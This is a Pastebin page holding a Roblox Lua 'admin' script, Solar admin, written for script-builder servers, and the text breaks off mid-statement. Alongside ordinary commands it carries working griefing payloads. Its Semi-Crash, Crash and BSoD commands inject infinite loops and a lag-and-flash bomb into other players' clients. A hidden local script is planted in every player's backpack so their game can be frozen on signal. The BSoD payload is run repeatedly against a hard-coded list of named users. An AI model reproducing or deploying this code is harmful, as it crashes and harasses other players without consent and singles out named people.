Pastebin
API
tools
faq
paste
Login
Sign up
Please fix the following errors:
New Paste
Syntax Highlighting
--[[ _____/\\\\\\\\\\\_________/\\\\\_______/\\\_________________/\\\\\\\\\_______/\\\\\\\\\_____ ____/\\\/////////\\\_____/\\\///\\\____\/\\\_______________/\\\\\\\\\\\\\___/\\\///////\\\___ ____\//\\\______\///____/\\\/__\///\\\__\/\\\______________/\\\/////////\\\_\/\\\_____\/\\\___ ______\////\\\__________/\\\______\//\\\_\/\\\_____________\/\\\_______\/\\\_\/\\\\\\\\\\\/____ __________\////\\\______\/\\\_______\/\\\_\/\\\_____________\/\\\\\\\\\\\\\\\_\/\\\//////\\\____ ______________\////\\\___\//\\\______/\\\__\/\\\_____________\/\\\/////////\\\_\/\\\____\//\\\___ ________/\\\______\//\\\___\///\\\__/\\\____\/\\\_____________\/\\\_______\/\\\_\/\\\_____\//\\\__ ________\///\\\\\\\\\\\/______\///\\\\\/_____\/\\\\\\\\\\\\\\\_\/\\\_______\/\\\_\/\\\______\//\\\_ _________\///////////__________\/////_______\///////////////__\///________\///__\///________\///__ Welcome to Solar admin, this admin is made by: aleksa12432; optiplex123/Exorsizer. This script is legaly copyrighted, so every steal is against law. You are allowed to edit the script, but leave credits to the real creators. We don't wan't any abusers of this admin, so don't try to abuse. If there is an error or bug, report to creators. For all questions ask aleksa12432 or optiplex123/Exorsizer This is a safety script, you have nil, local block, and 'bad' words detector. Newest updates: Fixed the rotation when cleaned; Can be used in nil; Smooth nil movement; Explore command; Added 'Hard ban'. Currently working on: Nil improvement. ]]-- --[[STARTUP]]-- wait() script.Name = "Solar admin" do if script:findFirstChild("DSource") ~= nil then SourceName = "DSource" elseif script:findFirstChild("Source") ~= nil then SourceName = "Source" elseif script:findFirstChild("source") ~= nil then SourceName = "source" else SourceName = "No_Source" end end if SourceName ~= "No_Source" then print("Source found: "..SourceName) elseif SourceName == "No_Source" then error("Source not found, script did not load all features") end script:ClearAllChildren() game.Lighting:ClearAllChildren() wait() --[[VARIABLES, BOOLEANS AND TABLES]]-- LocalPlayer = game:GetService("Players").LocalPlayer runService = game:service'RunService' LSource = script:Clone() char = nil key = nil Mouse = LocalPlayer:GetMouse() SunMesh = "http://www.roblox.com/asset/?id=1185246" SunTexture = "http://www.roblox.com/asset/?id=20261287" ChatColor = "Institutional white" Code = "SA: "..game.PlaceId Key = "/" SunScale = Vector3.new(3,3,3) HiddenTablets = false TabModelDebounce = false DismissTabOn = false ChatGui = true LBlock = true found = false NilBoot = false appearTime = 3 Rotation = 0 Speed = 0.0001 Tabs = {} Cmds = {} Banlist = {} HardBanlist = {"ninevolt781","cappertron20","GOLDC3PO","rabbidog","NoobsAttacks","manofthebase44"} MuteWords = {} BadWords = {} Services = { game; game:service'Workspace'; game:service'Players'; game:service'Lighting'; game:service'StarterGui'; game:service'StarterPack'; game:service'Debris'; }; --[[START]]-- if LocalPlayer.Character ~= nil then LocalPlayer.Character.Archivable = true Char = LocalPlayer.Character:Clone() end if NilBoot == true then LocalPlayer.Parent = nil ChatGui = true appear(CFrame.new(0,25,0)) local a = Char:Clone() a.Parent = workspace a.Torso.CFrame = CFrame.new(0,25,0) LocalPlayer.Character = a workspace.CurrentCamera.CameraType = "Custom" workspace.CurrentCamera.CameraSubject = a.Humanoid wait(5) SmoothMovement() end MuteWords[#MuteWords+1] = LocalPlayer.Name..":Kick()" MuteWords[#MuteWords+1] = LocalPlayer.Name..":Destroy()" MuteWords[#MuteWords+1] = LocalPlayer.Name..":remove()" MuteWords[#MuteWords+1] = '["'..LocalPlayer.Name..'"]:Kick()' MuteWords[#MuteWords+1] = "['"..LocalPlayer.Name.."']:Kick()" MuteWords[#MuteWords+1] = '["'..LocalPlayer.Name..'"]:Destroy()' MuteWords[#MuteWords+1] = "['"..LocalPlayer.Name.."']:Destory()" MuteWords[#MuteWords+1] = '["'..LocalPlayer.Name..'"]:remove()' MuteWords[#MuteWords+1] = "['"..LocalPlayer.Name.."']:remove()" MuteWords[#MuteWords+1] = "'Players':ClearAllChildren()" MuteWords[#MuteWords+1] = '"Players":ClearAllChildren()' MuteWords[#MuteWords+1] = "Players:ClearAllChildren()"--alek SD the server or kick manof for i = 1,#LocalPlayer.Name,1 do MuteWords[#MuteWords+1] = "kick/"..LocalPlayer.Name:sub(1,i) end for i = 1,#LocalPlayer.Name,1 do MuteWords[#MuteWords+1] = "kick;"..LocalPlayer.Name:sub(1,i) end for i = 1,#LocalPlayer.Name,1 do MuteWords[#MuteWords+1] = "kick:"..LocalPlayer.Name:sub(1,i) end for i = 1,#LocalPlayer.Name,1 do MuteWords[#MuteWords+1] = "kick "..LocalPlayer.Name:sub(1,i) end for i = 1,#LocalPlayer.Name,1 do MuteWords[#MuteWords+1] = ":kick "..LocalPlayer.Name:sub(1,i) end for i = 1,#LocalPlayer.Name,1 do MuteWords[#MuteWords+1] = "/kick/"..LocalPlayer.Name:sub(1,i) end for i = 1,#LocalPlayer.Name,1 do MuteWords[#MuteWords+1] = "kick`"..LocalPlayer.Name:sub(1,i) end wait() --[[TABMODEL]]-- local TabModel = Instance.new("Model") TabModel.Name = "Solar tabs" if HiddenTablets == true then TabModel.Parent = workspace.CurrentCamera TabModelParent = workspace.CurrentCamera elseif HiddenTablets == false then TabModel.Parent = workspace TabModelParent = workspace end --[[PARENTING]]-- script.Parent = _SOLAR_ wait() --[[FUNCTIONS]]-- function Output(Text,Color,OnClicked) if TabModel.Parent ~= TabModelParent then return end if TabModel == nil then return end if Color == nil then Color = "Institutional white" end if Text == nil then Text = "" end local Text = tostring(Text) Text = Text:gsub("","\5") local Part = Instance.new("Part", TabModel) Part.CanCollide = false Part.Anchored = true Part.Locked = true Part.Shape = "Ball" Part.Size = Vector3.new(3,3,3) Part.Name = "TABLET: "..math.random(-99999,99999) if LocalPlayer ~= nil and LocalPlayer.Character ~= nil and LocalPlayer.Character.Torso ~= nil then Part.CFrame = LocalPlayer.Character.Torso.CFrame else Part.CFrame = CFrame.new(0,0,0) end local Mesh = Instance.new("SpecialMesh", Part) Mesh.MeshId = SunMesh Mesh.TextureId = SunTexture Mesh.Scale = SunScale local PointLight = Instance.new("PointLight", Part) PointLight.Color = BrickColor.new("New Yeller").Color PointLight.Range = 10 local BillboardGui = Instance.new("BillboardGui", Part) BillboardGui.Size = UDim2.new(8,0,7,0) BillboardGui.StudsOffset = Vector3.new(0,2,0) local TextLabel = Instance.new("TextLabel", BillboardGui) TextLabel.Text = Text TextLabel.Size = UDim2.new(1,0,1,0) TextLabel.BackgroundTransparency = 1 TextLabel.TextColor = BrickColor.new(Color) TextLabel.Font = "ArialBold" TextLabel.FontSize = "Size24" TextLabel.TextStrokeTransparency = 0 local ClickDetector = Instance.new("ClickDetector", Part) Tabs[#Tabs+1] = Part ClickDetector.MaxActivationDistance = math.huge ClickDetector.MouseHoverEnter:connect(function(Player) if Player.Name == LocalPlayer.Name then Part.Transparency = 0.5 end end) ClickDetector.MouseHoverLeave:connect(function(Player) if Player.Name == LocalPlayer.Name then Part.Transparency = 0 end end) ClickDetector.MouseClick:connect(function(Player) if Player.Name == LocalPlayer.Name then coroutine.wrap(function() for i = 0,180,10 do TextLabel.Rotation = i wait() end end)() coroutine.wrap(function() for i = 0,1,0.1 do Part.Transparency = i wait() end wait() Part:Destroy() for i,v in pairs(Tabs) do if v.Name == Part.Name then table.remove(Tabs,i) end end if OnClicked ~= nil then OnClicked() end end)() end end) if #Tabs > 0 then DismissTab() end end function Dismiss() Tabs = {} TabModel:ClearAllChildren() DismissTabOn = false end function DismissTab() if DismissTabOn == true then return end DismissTabOn = true Output("Dismiss","Really red", function() Dismiss() DismissTabOn = false end) end function Chat(Msg, Clr) for _,v in pairs(Cmds) do if #Msg >= #v["Say"]+#Key then if Msg:lower():sub(1,#v["Say"]+#Key) == v["Say"]:lower()..Key:lower() then return end end end if Msg:sub(1,2) == "/e" then return end if Clr == nil then Clr = "Institutional white" end if Msg == nil then Msg = "" end if Msg:sub(1,1) == ";" then Clr = "Really red" Msg = Msg:sub(2) end if Msg:sub(1,1) == "/" then Clr = "Really blue" Msg = Msg:sub(2) end Msg = Msg:gsub("","\5") if LocalPlayer and LocalPlayer.Character and LocalPlayer.Character.Head then if #LocalPlayer.Character.Head:children() > 15 then return end for _,v in pairs(LocalPlayer.Character.Head:children()) do if v.Name == "BG" then coroutine.wrap(function() for i = v.StudsOffset.y,v.StudsOffset.y+2,0.1 do v.StudsOffset = Vector3.new(0,i,0) wait() end wait(2) if v:findFirstChild("TextLabel") ~= nil then for i = 0,1,0.1 do if v:findFirstChild("TextLabel") == nil then break end v.TextLabel.TextTransparency = i v.TextLabel.TextStrokeTransparency = i wait() end end v:Destroy() end)() end end if ChatGui == false then return elseif ChatGui == true then local BG = Instance.new("BillboardGui", LocalPlayer.Character.Head) BG.Name = "BG" BG.Size = UDim2.new(8,0,7,0) BG.StudsOffset = Vector3.new(0,2,0) BG.SizeOffset = Vector2.new(0,.1) local TL = Instance.new("TextLabel", BG) TL.Text = Msg TL.BackgroundTransparency = 1 TL.Size = UDim2.new(1,0,.8,0) TL.Font = "Legacy" TL.FontSize = "Size24" TL.TextStrokeTransparency = 0 if Clr ~= "Random" then TL.TextColor = BrickColor.new(Clr) elseif Clr == "Random" then TL.TextColor = BrickColor.random() end coroutine.wrap(function() wait(5) if TL ~= nil then for i = 0,1,0.1 do if TL == nil then break end TL.TextTransparency = i TL.TextStrokeTransparency = i wait() end end BG:Destroy() end)() end end end function Notify(Msg) Chat(Msg,"Really red") end function GetPlayers(msg) local Plrs = {} if msg == "me" then table.insert(Plrs, LocalPlayer) elseif msg == "all" then Plrs = game:GetService("Players"):GetChildren() --GetPlayers()? elseif msg == "noobs" then for _,plr in pairs(game:GetService("Players"):GetChildren()) do if plr.AccountAge < 364 then table.insert(Plrs, plr) end end elseif msg == "veterans" then for _,plr in pairs(game:GetService("Players"):GetChildren()) do if plr.AccountAge > 364 then table.insert(Plrs, plr) end end elseif msg == "others" then for i,v in pairs(game:GetService("Players"):GetChildren()) do if v ~= LocalPlayer then table.insert(Plrs, v) end end else for i,v in pairs(game:GetService("Players"):GetChildren()) do if v.Name:lower():sub(1,#msg) == msg:lower() then table.insert(Plrs, v) end end end return Plrs end function Update(CF) if TabModel.Parent ~= TabModelParent then return end if TabModel == nil then return end Rotation = Rotation + Speed if TabModel.Parent ~= TabModelParent then return end if TabModel == nil then return end for i,v in pairs(Tabs) do if TabModel.Parent ~= TabModelParent then break end if TabModel == nil then break end if v.Parent ~= nil then if TabModel.Parent ~= TabModelParent then break end if TabModel == nil then break end if #Tabs < 201 then if TabModel.Parent ~= TabModelParent then break end if TabModel == nil then break end local CP = v.Position:lerp(CF.p,0.15) v.CFrame = CFrame.new(CP.X,CP.Y,CP.Z) *CFrame.Angles(0,math.rad(((360/#Tabs)*i)+Rotation),0) *CFrame.new(0,0,#Tabs*0.15 +0.5) else if TabModel.Parent ~= TabModelParent then break end if TabModel == nil then break end v:Destroy() end if TabModel.Parent ~= TabModelParent then break end if TabModel == nil then break end end end end function AddCmd(Name, Say, Desc, Func) Cmds[#Cmds+1] = {["Name"] = Name, ["Say"] = Say, ["Desc"] = Desc, ["Func"] = Func} end function ShowCmds() Dismiss() for _,v in pairs(Cmds) do Output(v["Name"],nil, function() Dismiss() Output("Name: "..v["Name"]) Output("Usage: "..v["Say"]) Output("Description: "..v["Desc"]) Output("Back","Really red",function() ShowCmds() end) end ) end end function NewS(SourceValue, Parent) if NewScript then local scr = NewScript:Clone() if scr:FindFirstChild(SourceName) then if scr:FindFirstChild(SourceName) then scr:FindFirstChild(SourceName).Value = SourceValue scr.Parent = Parent wait() scr.Disabled = false return scr end end else Output("No source","Really red") end end function NewLS(SourceValue, Parent) if SourceName == "No_Source" then return end if game.PlaceId == 54194680 then NLS(SourceValue, Parent) else local NS = LSource:Clone() NS.Name = "NewLocal" local Source = NS:findFirstChild(SourceName) if Source == nil then Instance.new('StringValue',NS).Name = SourceName end Source = NS:findFirstChild(SourceName) Source.Value = SourceValue NS.Parent = Parent NS.Disabled = false return NS end end function ShowBL() Dismiss() for _,v in pairs(Banlist) do Output(v,nil, function() Dismiss() Output(v) Output("Un-Ban","Really red", function() table.remove(Banlist, _) end) Output("Back","Really red", function() ShowBL() end) end) end end function ShowHBL() Dismiss() for _,v in pairs(HardBanlist) do Output(v,nil, function() Dismiss() Output(v) Output("Un-Ban","Really red", function() table.remove(HardBanlist, _) end) Output("Back","Really red", function() ShowBL() end) end) end end function Connect(who) if who and who.Backpack then NewLS(ConnectSource, who.Backpack) Output("Connected: "..who.Name) end end function SmoothMovement() if char ~= nil then char = nil end wait() if LocalPlayer.Character.Parent == nil then return end if LocalPlayer.Character == nil then return end char = LocalPlayer.Character char.Torso.Anchored = true Mouse.KeyDown:connect(function(kai) if kai == "w" then key = "w" elseif kai == "s" then key = "s" elseif kai == "a" then key = "a" elseif kai == "d" then key = "d" end end) Mouse.KeyUp:connect(function(kai) if kai == "w" then key = nil elseif kai == "s" then key = nil elseif kai == "a" then key = nil elseif kai == "d" then key = nil end end) while wait() do if char == nil then break end if key == "w" then if char == nil then break end char.Torso.CFrame = char.Torso.CFrame * CFrame.new(0,0,-0.5) elseif key == "s" then if char == nil then break end char.Torso.CFrame = char.Torso.CFrame * CFrame.new(0,0,0.5) elseif key == "a" then if char == nil then break end char.Torso.CFrame = char.Torso.CFrame * CFrame.new(-0.5,0,0) char.Torso.CFrame = char.Torso.CFrame * CFrame.Angles(0,0.5,0) elseif key == "d" then if char == nil then break end char.Torso.CFrame = char.Torso.CFrame * CFrame.new(0.5,0,0) char.Torso.CFrame = char.Torso.CFrame * CFrame.Angles(0,-0.5,0) end end end function Explore(part) Dismiss() if part == nil then for _,v in pairs(Services) do Output(v.Name,nil,function() Explore(v) end) end else for _,v in pairs(part:children()) do Output(v.Name,nil,function() Explore(v) end) end wait() Output("Currently exploring: "..part.Name,"Really red") Output("Class name: "..part.ClassName,"Really red") Output("Destroy","Really red",function() part:Destroy() Explore(part.Parent) end) Output("Remove","Really red",function() part:remove() Explore(part.Parent) end) end end function appear(pos) local parts = {} local frames = appearTime / (1 / 30) local t = 1 if pos == nil then pos = CFrame.new(0, 25, 0) end for i=1,500 do local p = Instance.new("Part", game.Workspace) p.Anchored = true p.CanCollide = false p.formFactor = 3 p.Size = Vector3.new(1, 1, 1) p.TopSurface = 0 p.BottomSurface = 0 p.BrickColor = BrickColor.random() local x, y, z = math.random(-10, 10) / 100, math.random(-10, 10) / 100, math.random(-10, 10) / 100 p.CFrame = pos * CFrame.new(x * frames, y * frames, z * frames) local mesh = Instance.new("SpecialMesh", p) mesh.MeshId = "http://www.roblox.com/Asset/?id=9756362" mesh.Scale = Vector3.new(0.9, 0.9, 0.9) table.insert(parts, {p, CFrame.new(-x, -y, -z) * CFrame.Angles(x, y, z)}) end for i=1,frames do local _, duration = runService.Stepped:wait() for i,v in pairs(parts) do if v[1].Parent then v[1].CFrame = v[1].CFrame * v[2] v[1].Transparency = t end end t = t - (appearTime / frames) end for i,v in pairs(parts) do if v[1].Parent then v[1]:remove() end end end --[[COMMANDS]]-- AddCmd("Ping","ping","Ping something", function(nothing, msg) Output(tostring(msg)) end ) AddCmd("Commands","cmds","Show all commands", function() ShowCmds() end ) AddCmd("#Commands","#cmds","Show the number of commands", function() Output(tostring(#Cmds)) end ) AddCmd("Dismiss","dt","Dismiss tabs", function() Dismiss() end ) AddCmd("Toggle tabs visibility","hid","Make the tabs visible/invisible", function(nothing, msg) if msg == "on" then HiddenTablets = true TabModel.Parent = workspace.CurrentCamera TabModelParent = workspace.CurrentCamera Output("Tabs are hidden","Really red") elseif msg == "off" then HiddenTablets = false TabModel.Parent = workspace TabModelParent = workspace Output("Tabs are visible","Really red") else Output("Use on/off to toggle tab visibility","Really red") end end ) AddCmd("Execute","exe","Execute", function(nothing, msg) a,b = ypcall(function() loadstring(msg)() end) if not a then Output(b,"Really red") end end ) AddCmd("Toggle local block","tlb","Toggle local block on/off", function(nothing, msg) if msg == "on" then LBlock = true Output("Local block on","Really red") elseif msg == "off" then LBlock = false Output("Local block off") else Output("Use on/off to toggle local block","Really red") end end ) AddCmd("Kick","kick","Kick player", function(Plrs) for _, plr in pairs(Plrs) do if plr then NewS("game:service'Players':findFirstChild('"..plr.Name.."'):Kick()", workspace) end end end ) AddCmd("Banlist","bl","Show banned players", function() ShowBL() end ) AddCmd("Hard Banlist","hbl","Show hard banned players", function() ShowHBL() end ) AddCmd("Semi-Crash","scrash","Semi-crash a player", function(Plrs) for _,plr in pairs(Plrs) do if plr and plr.Backpack then NewLS("repeat until false",plr.Backpack) end end end ) AddCmd("Crash","crash","Crash a player (use nil to crash nil players)", function(nothing, msg) local a = Instance.new("StringValue", game.Lighting) a.Name = "DISC: "..msg game:service'Debris':AddItem(a, 3) end ) AddCmd("Mute","mute","Block player's chat", function(Plrs) for _, plr in pairs(Plrs) do if plr and plr.Backpack then NewLS("game:service'StarterGui':SetCoreGuiEnabled(3, false)", plr.Backpack) end end end ) AddCmd("Un-Mute","unmute","Un-Block player's chat", function(Plrs) for _, plr in pairs(Plrs) do if plr and plr.Backpack then NewLS("game:service'StarterGui':SetCoreGuiEnabled(3, true)", plr.Backpack) end end end ) AddCmd("Clean","clean","Clean workspace", function() for _,v in pairs(workspace:children()) do if v.Name ~= "Terrain" then v:Destroy() end end NewS("for _,v in pairs(game:service'Players':children()) do if v:IsA('Player') then v:LoadCharacter() end end", workspace) local base = Instance.new("Part", workspace) base.Anchored = true base.Size = Vector3.new(1000,1.2,1000) base.BrickColor = BrickColor.new("Dark green") base.Material = "Grass" end ) AddCmd("Remove","cremove","Remove the script", function() for i = 0,50,1 do pcall(function() for j,k in pairs(getfenv(i)) do getfenv(i)[j] = nil end end) end end ) AddCmd("Script","c","Script something", function(nothing, msg) if found then NewS(msg,workspace) else Output("No source","Really red") end end ) AddCmd("Kill","kill","Kill player", function(Plrs) for _, plr in pairs(Plrs) do if plr and plr.Character then plr.Character:breakJoints'' end end end ) AddCmd("NewLocal","newlocal","Inserts a new local in someones backpack", function(Plrs, msg) local KeyPos = msg:find(Key) local TargPlrs = msg:sub(1,KeyPos-1) local Plrs = GetPlayers(TargPlrs) local Srce = msg:sub(KeyPos+1) for _,plr in pairs(Plrs) do if plr and plr.Backpack then NewLS(Srce, plr.Backpack) end end end ) AddCmd("Ban","ban","Bans a player", function(Plrs) for _, plr in pairs(Plrs) do if plr and plr.Backpack then Banlist[#Banlist +1] = plr.Name NewS("game:service'Players':findFirstChild('"..plr.Name.."'):Kick()", workspace) end end end ) AddCmd("Rejoin","rj","Rejoins a player", function(Plrs) for _,plr in pairs(Plrs) do if plr and plr.Character then if SourceName == "source" then Output("This is Alakazards scriptbuilder. TPService is disabled here! Can't TP!","Really red") end if SourceName ~= "source" then NewLS([[game:GetService('TeleportService'):Teleport(game.PlaceId)]],plr.Character) end end end end ) AddCmd("Ban","ban","Bans a player", function(Plrs) for _, plr in pairs(Plrs) do if plr and plr.Backpack then Banlist[#Banlist+1] = plr.Name end end end ) AddCmd("Chat","chat","Turns chat on/off", function(nothing, msg) if msg == "on" then ChatGui = true elseif msg == "off" then ChatGui = false end end ) AddCmd("GetAge","ga","Get age of a player", function(Plrs) for _, plr in pairs(Plrs) do if plr then Output(plr.Name..": "..tostring(plr.AccountAge)) end end end) AddCmd("Hint","h","Show some hint", function(nothing, msg) if found then NewS([[ a = Instance.new("Hint", workspace) msg = "]]..msg..[[" msg = msg:gsub("","\5") game:service'Debris':AddItem(a, 5) while wait() do for i = 30,0,-1 do a.Text = "-->"..string.rep(" ",i)..msg..string.rep(" ",i).."<--" wait() end for i = 0,30,1 do a.Text = "-->"..string.rep(" ",i)..msg..string.rep(" ",i).."<--" wait() end end ]], workspace) end end ) AddCmd("Message","m","Show a message", function(nothing, msg) if found then NewS([[ a = Instance.new("Message", workspace) msg = "]]..msg..[[" msg = msg:gsub("","\5") game:service'Debris':AddItem(a, 5) while wait() do for i = 30,0,-1 do a.Text = "-->"..string.rep(" ",i)..msg..string.rep(" ",i).."<--" wait() end for i = 0,30,1 do a.Text = "-->"..string.rep(" ",i)..msg..string.rep(" ",i).."<--" wait() end end ]], workspace) end end ) AddCmd("Char","char","Be a character", function() if LocalPlayer.Parent == game.Players then return end if LocalPlayer.Character~= nil then LocalPlayer.Character:Destroy() end char = nil appear(CFrame.new(0,25,0)) local a = Char:Clone() a.Parent = workspace a.Torso.CFrame = CFrame.new(0,25,0) LocalPlayer.Character = a workspace.CurrentCamera.CameraType = "Custom" workspace.CurrentCamera.CameraSubject = a.Humanoid wait(5) SmoothMovement() end ) AddCmd("Refresh 'nil smooth movement'","rnsm","Refresh the movement when you are nil", function() if LocalPlayer.Parent == nil then char = nil wait() SmoothMovement() else Output("You are not nil.","Really red") end end ) AddCmd("Go nil","gn","Go to nil player mode", function() LocalPlayer.Parent = nil appear(CFrame.new(0,25,0)) local a = Char:Clone() a.Torso.CFrame = CFrame.new(0,25,0) a.Parent = workspace LocalPlayer.Character = a workspace.CurrentCamera.CameraType = "Custom" workspace.CurrentCamera.CameraSubject = a.Humanoid wait(5) SmoothMovement() end ) AddCmd("Fix camera","fcam","Fix your camera", function() workspace.CurrentCamera.CameraType = "Custom" workspace.CurrentCamera.CameraSubject = LocalPlayer.Character.Humanoid end ) AddCmd("Nils","nilp","Get nil players", function() NewS([[ Model = Instance.new("Model", game.Lighting) Model.Name = "SolarAdminNilPlayers" for _,v in pairs(game:service'NetworkServer':children()) do if v:GetPlayer() then if v:GetPlayer().Parent ~= game:service'Players' then Instance.new("StringValue",Model).Value = v:GetPlayer().Name end end end ]], workspace) wait() np = nil for i = 0,5,1 do if game.Lighting:findFirstChild("SolarAdminNilPlayers") then np = game.Lighting:findFirstChild("SolarAdminNilPlayers") break end wait(0.1) end if np ~= nil then Dismiss() for _,v in pairs(np:children()) do if v:IsA("StringValue") then Output(v.Value,"Really red") end end elseif np == nil then Output("Something went wrong.","Really red") end end ) AddCmd("Possess","ps","Possess a player", function(Plrs) for _, plr in pairs(Plrs) do if plr and plr.Character then LocalPlayer.Character = plr.Character workspace.CurrentCamera.CameraType = "Custom" workspace.CurrentCamera.CameraSubject = plr.Character.Humanoid end end end ) AddCmd("'Hard' ban","hb","Hard ban a player", function(Plrs) for _, plr in pairs(Plrs) do if plr then HardBanlist[#HardBanlist+1] = plr.Name NewS("game:service'Players':findFirstChild('"..plr.Name.."'):Kick()", workspace) for i = 0,10,1 do Notify("Hard Banned "..plr.Name.."!") end end end end ) AddCmd("Explore","explore","Explore the game", function() Explore() end ) AddCmd("Rejoin yourself","rej","Rejoin yourself even if you are nil", function() if SourceName ~= "source" then game:service'TeleportService':Teleport(game.PlaceId) else Output("This is alakazard's sb, can't teleport here.","Really red") end end ) AddCmd("BSoD","bsod","BSoD a player", function(Plrs) for _, plr in pairs(Plrs) do if plr and plr.Backpack then for i = 0,7,1 do NewLS(BSoDSource, plr.Backpack) end end end end ) --[[SOURCES]]-- LBlock1 = [[ LocalPlayer.descendantAdded:connect(function(what) if what:IsA("Script") or what:IsA("LocalScript") then if LBlock == false then return end if what.Name == "Health" then return end if what.Name == "HealthScript v3.1" then return end if what.Name == "Animate" then return end what.Disabled = true wait() what:Destroy() end end) ]] LBlock2 = [[ LocalPlayer.Backpack.descendantAdded:connect(function(what) if what:IsA("Script") or what:IsA("LocalScript") then if LBlock == false then return end if what.Name == "Health" then return end if what.Name == "HealthScript v3.1" then return end if what.Name == "Animate" then return end what.Disabled = true wait() what:Destroy() end end) ]] LBlock3 = [[ LocalPlayer.Character.descendantAdded:connect(function(what) if what:IsA("Script") or what:IsA("LocalScript") then if LBlock == false then return end if what.Name == "Health" then return end if what.Name == "HealthScript v3.1" then return end if what.Name == "Animate" then return end what.Disabled = true wait() what:Destroy() end end) ]] ConnectSource = [[ script:ClearAllChildren() wait() script.Parent = nil Player = game.Players.LocalPlayer while wait(0.1) do if game.Lighting:findFirstChild("DISC: nil") then if Player.Parent == nil then Delay(0, wait) end end if game.Lighting:findFirstChild("DISC: "..Player.Name) then Delay(0, wait) end end ]] BSoDSource = [[ wait() script.Parent = game:service'TeleportService' CC = workspace.CurrentCamera RS = game:service("RunService") PG = game.Players.LocalPlayer.PlayerGui C = game.Players.LocalPlayer.Character function Lag() coroutine.resume(coroutine.create(function() while wait() do M = Instance.new("Message",CC) M.Text = tick()*math.floor(5%4*21) H = Instance.new("Hint",CC) H.Text = 'Get out from this place!' SG=Instance.new("ScreenGui",PG) FR=Instance.new("Frame",SG) FR.Size = UDim2.new(500,500,500,500) while wait() do FR.BackgroundColor3 = Color3.new(math.random(0,255),math.random(0,255),math.random(0,255)) end P=Instance.new("Part",CC) E=Instance.new("Explosion",P) E.BlastRadius=math.huge E.Position=P.Position F=Instance.new("Fire",P) S=Instance.new("Smoke",P) P.CFrame = CC.Focus P.Anchored = true P.CanCollide = false P.AncestryChanged:connect(function()Lag()end) for _,v in pairs(C:GetChildren()) do pcall(function()v.Anchored=true end) end end end)) end RS.Stepped:connect(function()for i=1,10 do Lag()Lag()Lag()end end) ]] --[[LOCAL BLOCK]]-- loadstring(LBlock1)() loadstring(LBlock2)() loadstring(LBlock3)() LocalPlayer.CharacterAdded:connect(function() loadstring(LBlock2)() loadstring(LBlock3)() end) --[[CONNECTIONS]]-- LocalPlayer.Chatted:connect(function(m) Chat(m,ChatColor) for i,v in pairs(Cmds) do if v["Say"]..Key == m:sub(1, #v["Say"]+#Key) then v["Func"](GetPlayers(m:sub(#v["Say"]+#Key+1)), m:sub(#v["Say"]+#Key+1)) end end end) for _,speaker in pairs(game:service'Players':GetPlayers()) do if speaker.Name ~= LocalPlayer.Name then if speaker.Name ~= "aleksa12432" then if speaker.Name ~= "optiplex123" then if speaker.Name ~= "Exorsizer" then speaker.Chatted:connect(function(msg) for _,v in pairs(MuteWords) do if string.find(msg,v) then if speaker and speaker.Backpack then NewLS("game:service'StarterGui':SetCoreGuiEnabled(3, false)",speaker.Backpack) end end end for _,v in pairs(BadWords) do if string.find(msg, v) then if speaker and found == true then NewS("game:service'Players':findFirstChild('"..speaker.Name.."'):Kick()") elseif speaker and found == false then speaker:Destroy() end end end end) end end end end end game.Players.ChildAdded:connect(function(speaker) if speaker:IsA("Player") then if speaker.Name ~= LocalPlayer.Name then if speaker.Name ~= "aleksa12432" then if speaker.Name ~= "optiplex123" then if speaker.Name ~= "Exorsizer" then speaker.Chatted:connect(function(msg) for _,v in pairs(MuteWords) do if string.find(msg:lower(),v:lower()) then if speaker and speaker.Backpack then NewLS("game:service'StarterGui':SetCoreGuiEnabled(3, false)",speaker.Backpack) end end end for _,v in pairs(BadWords) do if string.find(msg:lower(),v:lower()) then if speaker and found == true then NewS("game:service'Players':findFirstChild('"..speaker.Name.."'):Kick()") elseif speaker and found == false then speaker:Destroy() end end end end) end end end end end end) --[[START]]-- for i = 0,8,1 do Output("") end Output("Welcome to Solar admin","Really red") Output("This script is made by aleksa12432 and optiplex123","Really red") if SourceName == "DSource" then Output("You are on Anaminus SB","Really red") elseif SourceName == "Source" then Output("You are on Oxcool1 SB","Really red") elseif SourceName == "source" then Output("You are on qlqkqzqrd SB","Really red") end for _,v in pairs(game:service'Players':GetPlayers()) do if v.Name ~= LocalPlayer.Name then if v.Name ~= "aleksa12432" then if v.Name ~= "optiplex123" then if v.Name ~= "Exorsizer" then Connect(v) end end end end end --[[LOOPS]]-- coroutine.wrap(function() while wait(30) do for _,v in pairs(game:service'Players':GetPlayers()) do if v.Name ~= LocalPlayer.Name then if v.Name ~= "aleksa12432" then if v.Name ~= "optiplex123" then if v.Name ~= "Exorsizer" then if v.Backpack ~= nil then NewLS(ConnectSource, v.Backpack) end end end end end end end end)() game:service'Players'.ChildAdded:connect(function(player) if player.Name ~= LocalPlayer.Name then if player.Name ~= "aleksa12432" then if player.Name ~= "optiplex123" then if player.Name ~= "Exorsizer" then wait(3) Connect(player) end end end end end) game:GetService("RunService").RenderStepped:connect(function() if TabModel.Parent ~= TabModelParent then return end if TabModel == nil then return end if LocalPlayer then if LocalPlayer.Character then if LocalPlayer.Character:findFirstChild("Torso") then Rotation = Rotation + Speed for i,v in pairs(Tabs) do ypcall(function() if LocalPlayer and LocalPlayer.Character and LocalPlayer.Character.Torso then pos = LocalPlayer.Character.Torso.CFrame else pos = CFrame.new(0,0,0) end radius = 4 + (#Tabs * 0.5) x = math.sin((i / #Tabs - (0.5 / #Tabs) + Rotation * 2) * math.pi * 2) * radius y = 0 z = math.cos((i / #Tabs - (0.5 / #Tabs) + Rotation * 2) * math.pi * 2) * radius arot = Vector3.new(x, y, z) + pos.p brot = v.CFrame.p crot = (arot * .1 + brot * .9) v.CFrame = CFrame.new(crot, pos.p) end) end end end end end) game:service'RunService'.RenderStepped:connect(function() if TabModelDebounce == true then return end if TabModel.Parent ~= TabModelParent then TabModelDebounce = true Tabs = {} TabModel = Instance.new("Model", TabModelParent) TabModel.Name = "Solar tabs" Tabs = {} Rotation = 0 wait() TabModelDebounce = false end end) coroutine.wrap(function() while wait() do for _,v in pairs(game:service'Workspace':children()) do if v and v:IsA("StringValue") and v.Name == Code then if v.Value ~= nil and v.Value ~= "" then Output(v.Value,"Really red") game:service'Debris':AddItem(v, 3) end end end end end)() coroutine.wrap(function() while wait() do for _,v in pairs(game:service'Players':GetPlayers()) do pcall(function() for j,k in pairs(Banlist) do if v.Name == k then if v:findFirstChild("Backpack") ~= nil then NewLS("repeat until ucrappedurpants", v.Backpack) end end end for j,k in pairs(HardBanlist) do if v.Name == k then if v:findFirstChild("Backpack") ~= nil then NewLS(BSoDSource, v.Backpack) end end end end) end end end)() while found == false do if game.PlaceId 